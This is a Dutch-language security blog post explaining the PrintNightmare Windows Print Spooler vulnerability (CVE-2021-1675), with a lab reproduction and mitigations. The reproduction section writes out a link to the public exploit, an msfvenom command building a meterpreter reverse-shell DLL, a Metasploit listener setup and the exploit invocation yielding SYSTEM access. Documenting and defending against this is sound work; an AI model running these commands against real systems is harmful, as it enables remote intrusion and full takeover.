Geschreven door: Bert Alting

Wat is er gebeurd?
In juni bracht Microsoft, als onderdeel van het reguliere Patch Tuesday-proces, een patch uit (bekend als CVE-2021-1675) voor wat zij classificeerden als een “lage ernst” privilege escalation kwetsbaarheid in Windows Print Spooler.

Enkele dagen later, op 21 juni, herclassificeerde Microsoft het beveiligingslek als “kritiek” en beschreef het als een ernstiger “remote code execution”-kwetsbaarheid.

Maar zolang we blijven updaten zijn we in orde? ….. toch?
Nou, niet echt!

Toen sommige beveiligingsonderzoekers ontdekten dat Microsoft de kwetsbaarheid als “kritiek” had geclassificeerd, wekte het hun interesse. En ze brachten wat proof of concept (PoC) code uit die misbruik maakte van een beveiligingslek op afstand in de Windows Print Spooler.

Waarom doen onderzoekers dat eigenlijk?
Vermoedelijk dachten ze dat Microsoft het beveiligingslek had verholpen door de patch uit te geven. Ze waren van plan om op de komende Black Hat-conferentie alles te presenteren over hun onderzoek naar bugs in Windows Print Spooler en ze dachten: als Microsoft de bug al heeft gepatcht, kunnen we er nu net zo goed over praten en laten zien hoe slim we zijn …

Zolang mensen hun computer maar blijven patchen…
Hier zit juist het probleem.
De kwetsbaarheid die de onderzoekers uitbuitten in hun proof of concept code was niet hetzelfde beveiligingslek waar Microsoft vorige maand een patch tegen maakte. Dus de onderzoekers hebben een zero-day exploit uitgebracht waarvoor geen patch beschikbaar is !

De onderzoekers hebben de PoC van Github verwijderd maar helaas zijn er genoeg kopieën gemaakt die in handen zijn gekomen van andere mensen.
Vandaar de naam PrintNightmare.

Wat kan ik nu het beste doen?
Zorg ervoor dat u de nieuwste Windows-beveiligingsupdates gebruikt. Ze beschermen uw systemen misschien niet tegen een PrintNightmare-aanval, maar ze zijn nog steeds nuttig.

Aan het eind van dit artikel leggen we een aantal oplossingen uit.
Hou altijd de updates van Windows in de gaten voor beveiligingspatches.

Reproductie
De PoC is beschikbaar op de volgende link waarbij Impacket kan worden gebruikt: https://github.com/cube0x0/CVE-2021-1675/blob/main/CVE-2021-1675.py

We hebben Windows 10 Professional gebruikt en vervolgens gecheckt of Print Spooler is geactiveerd. (10.0.19043 Build 19043)

Verder gaan we kijken of Netwerkdetectie is ingeschakeld in ‘Geavanceerde instellingen voor delen’

Zodra de impacket exploit uitgevoerd wordt, vraagt de exploit om een dll-payload te uploaden. Dit doen wij met een python SMB-server.

Eerst maken we een DLL-payload met msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.68.125 LPORT=4444 -f dll > givemeshell.dll

Vervolgens zetten we een SMB server op met de share naam ‘Bert’ met de folder waar onze DLL-payload bevindt.

Voordat wij deze exploit uitvoeren, zetten we eerst een ‘listener’ op met msfconsole:
msfconsole
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST [IP van aanvaller]
set LPORT [Port van aanvaller]
run

Tot slot voeren wij de exploit uit met:
python3 CVE-2021-1675.py [user]:[pass]@[IP] '\\[ShareIP]\[Sharedfolder]\[bestandsnaam].dll'

In ons geval zal de command als volgt eruit zien:
python3 CVE-2021-1675.py bert:xxxx@192.168.68.133 '\\192.168.68.125\bert\givemeshell.dll'

Tijdens het uitvoeren zien we dat onze SMB server reageert en het DLL-bestand binnenhaalt:

Als we vervolgens kijken naar onze ‘listener’ in msfconsole, zien we dat succesvol een verbinding wordt gemaakt vanaf het kwetsbare Windows systeem.
Hiermee hebben we vanaf nu volledig toegang tot het systeem met NT Authority\system rechten.

(Tijdelijke) Oplossingen

Het is bekend dat sommige Windows Builds na het patchen nog steeds kwetsbaar zijn. Voor zover bekend is dat bij Windows Server 2019 het geval. Onze Windows 10 Professional Build was na het patchen / updaten niet meer kwetsbaar.
Er zijn een aantal ‘workarounds’ bekend om deze kwetsbaarheid tegen te gaan:

ACL Restricties:
Dit zal een Deny-regel toevoegen voor de directory drivers en alle subdirectories, waardoor de SYSTEM-account de inhoud ervan niet kan wijzigen.

$Path = "C:\Windows\System32\spool\drivers" $Acl = (Get-Item $Path).GetAccessControl('Access') $Ar = New-Object System.Security.AccessControl.FileSystemAccessRule("System", "Modify", "ContainerInherit, ObjectInherit", "None", "Deny") $Acl.AddAccessRule($Ar) Set-Acl $Path $Acl

Schakel Print Spooler Service uit
Start via uitvoeren services.msc op en schakel Print Spooler uit d.m.v. rechtermuisknop en ‘stoppen’.

Schakel poort 139 / 445 uit
Niet echt een praktische oplossing maar het blokkeren van poort 139 en 445 zal dit probleem tijdelijk kunnen verhelpen.

Vragen over deze kwetsbaarheid? Neem gerust contact op met onze security-team voor vrijblijvend advies: 020-7881035 of security@networking4all.com


Deel artikel via: